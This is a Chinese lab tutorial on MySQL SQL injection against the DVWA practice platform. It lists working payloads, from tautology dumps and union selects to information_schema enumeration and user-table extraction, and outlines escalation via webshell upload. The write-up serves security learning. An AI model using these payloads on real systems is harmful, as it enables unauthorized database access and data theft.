SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试。
测试环境与工具:
测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-table2虚拟机,里面已经部署好了dvwa.。
渗透工具:burpsuite-1.4.07下载地址:http://down.51cto.com/data/875103
首先我们介绍下DVWA和Burpsuite,DVWA这是一个php+mysql平台构建的预置web常见漏洞的渗透练习平台。能够帮助web应用安全研究人员很好了解web漏洞。Burpsuite是一款功能强大的web渗透测试工具。
SQL注入漏洞在OWASP TOP 10威胁中,一直排名第一,安全威胁可见一斑。SQL注入渗透测试过程中,针对不同的数据库平台,注入语句选择也不同,本篇笔者主要测试mysql注入的常用语句以及渗透思路。
登录访问DVWA,默认用户名:admin密码:password.

登录之后,将 dvwa 的安全级别调成 low,low 代表安全级别最低,存在较容易测试的漏洞

1、找到 SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的 SQL 注入漏洞存在的地方。 正常测试,输入 1 ,可以得到如下结果

当将输入变为“'”时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,
结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。


2、尝试遍历数据库表,由于用户输入的值为 ID ,因此我们习惯判断这里的注入类型为数字型,因此尝试输入: 1 or 1=1 ,
看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息

于是猜测,是否后台应用程序将此值看做了字符型,于是输入: 1'or'1'='1 , 结果,遍历出了数据库中的所有内容,
如果是重要数据库表,可能这个信息已经对于攻击者,有了足够意义:如图
1'or'1'='1

3、测试查询信息列数。利用语句 order by num
这里我们输入 " 1'order by 1 -- " 结果页面正常显示,注意-- 后面有空格。继续测试, " 1'order by 2 -- ", " 1'order by 3 -- ",
当输入3是,页面报错。页面错误信息如下, Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。
1'order by 1 --
1'order by 3 --

Unknown column '3' in 'order clause'
4、通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。
这里尝试注入 “ 1' and 1=2 union select 1,2 -- ”结果如下
1' and 1=2 union select 1,2 --

从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,
利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:
1' and 1=2 union select user(),database() --

连接数据库的用户为 root@localhost ,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,
“ 1' and 1=2 union select version(),database() -- ”便得到了版本信息,

1' and 1=2 union select version(),database() --
5、获得操作系统信息。
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

6、测试连接数据库权限:
1' and ord(mid(user(),1,1))=114 --
返回正常说明为root

7、查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
1' and 1=2 union select 1,schema_name from information_schema.schemata --

8、猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。
1' and exists(select * from users) --

9、猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name
1' and exists(select first_name from users) --
ID: 1' and exists(select last_name from users) --


10、爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。
以上是笔者根据dvwa平台sql injection漏洞对mysql常用语句所做的测试。这里我们可以大致总结渗透的一般思路:
1、寻找注入点,可以通过web扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
今天笔者只在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:
1' order by 2 -- /*用来猜解查询信息的列数
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 -- /*测试连接数据库用户权限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容
SQL注入之DVWA平台测试mysql注入的更多相关文章
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(1)
默认存在的数据库: mysql 需要root权限读取 information_schema 在5以上的版本中存在 测试是否存在注入方法 假:表示查询是错误的 (MySQL 报错/返回页面与原来不同) ...
- DVWA平台v1.8-SQL注入(low级别)
代码 <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT fi ...
- Web渗透测试(sql注入 access,mssql,mysql,oracle,)
Access数据库注入: access数据库由微软发布的关系型数据库(小型的),安全性差. access数据库后缀名位*.mdb, asp中连接字符串应用-- "Driver={micros ...
- SQL注入相关的知识【Mysql为例子】
以DVWA的sql注入初级为例,结合网上搜索的相关利用方式,总结成这一篇文章,内容会有点跳跃. 大纲: 1.初级手工注入 2.order by的使用 3.union查询注意点 4.Mysql相关的注释 ...
- 【Mysql sql inject】POST方法BASE64编码注入write-up
翻到群里的小伙伴发出一道POST型SQL注入题,简单抓包判断出题目需要base64编码后才执行sql语句,为学习下SQL注入出题与闯关的思路+工作不是很忙,所以花点时间玩了一下,哈哈哈哈哈哈哈哈哈 ...
- 十三:SQL注入之MYSQL注入
MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆.作为安全开发工作者,攻 ...
- sql注入mysql注入
#跨库查询及应用思路 information_schema表特性,记录数据库名.表名.列名对应表 information_schema.schemata:存储所有数据库名 schema_name:数据 ...
- 【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...
随机推荐
- opencv配置运行问题
opencv是图像处理常用的一个库文件,对于一些新手来说,配置完后运行,总会有这样或者那样的错误,会挫伤其学习积极性,这里将常见的几种错误列举出来,供其参考和使用. 方法/步骤第一种错误叫no suc ...
- UML建模综述
一.概念 UML-Unified Model Language 统一建模语言,又称标准建模语言.是用来对软件密集系统进行可视化建模的一种语言.作为一个支持模型化和软件系统开发的图形化语言,UML为软件 ...
- LC 722. Remove Comments
Given a C++ program, remove comments from it. The program source is an array where source[i] is the ...
- 软件-设计-Adobe-Adobe XD:百科
ylbtech-软件-设计-Adobe-Adobe XD:百科 创建线框.设计.创建原型.展示以及共享适用于 Web.移动设备和语音等的卓越体验 - 以上操作在一款应用程序中即可完成.XD 面向需要进 ...
- mybatis之分页查询
1)StudentDao.java /** * 持久层*/ public class StudentDao { /** * 增加学生 */ public void add(Student studen ...
- TelephonyUtils
<uses-permission android:name="android.permission.CALL_PHONE"/> import java.util.Arr ...
- Centos7 - mysql 5.5.62 tar.gz 方式安装
安装准备 Mariadb 去除 由于CentOS7自带的是 Mariadb, 所以先来删除他吧... 1. 查找版本 # rpm -qa|grep mariadb 执行命令后会出现类似 MariaDB ...
- 小D课堂-SpringBoot 2.x微信支付在线教育网站项目实战_1-2.中大型公司里面项目开发流程讲解
笔记 2.中大型公司里面项目开发流程讲解 简介:讲解一个项目如何从零到上线,经历过怎样的步骤和流程 1.一个中大型项目的开发流程,从需求调研到项目上线 ...
- MongoDB 实体映射
@Id主键,不可重复,自带索引,可以在定义的列名上标注,需要自己生成并维护不重复的约束.如果自己不设置@Id主键,mongo会自动生成一个唯一主键,并且插入时效率远高于自己设置主键.在实际业务中不建议 ...
- 用js的方式运行c程序之webassemly
在这里就不科普webassemly的作用以及好处了,请自行百度. 那么,怎么通过js的方式在浏览器中运行c程序呢,其中原理如下: 可能另一张图会更详细: 1.安装emscripten 说明文档地址:h ...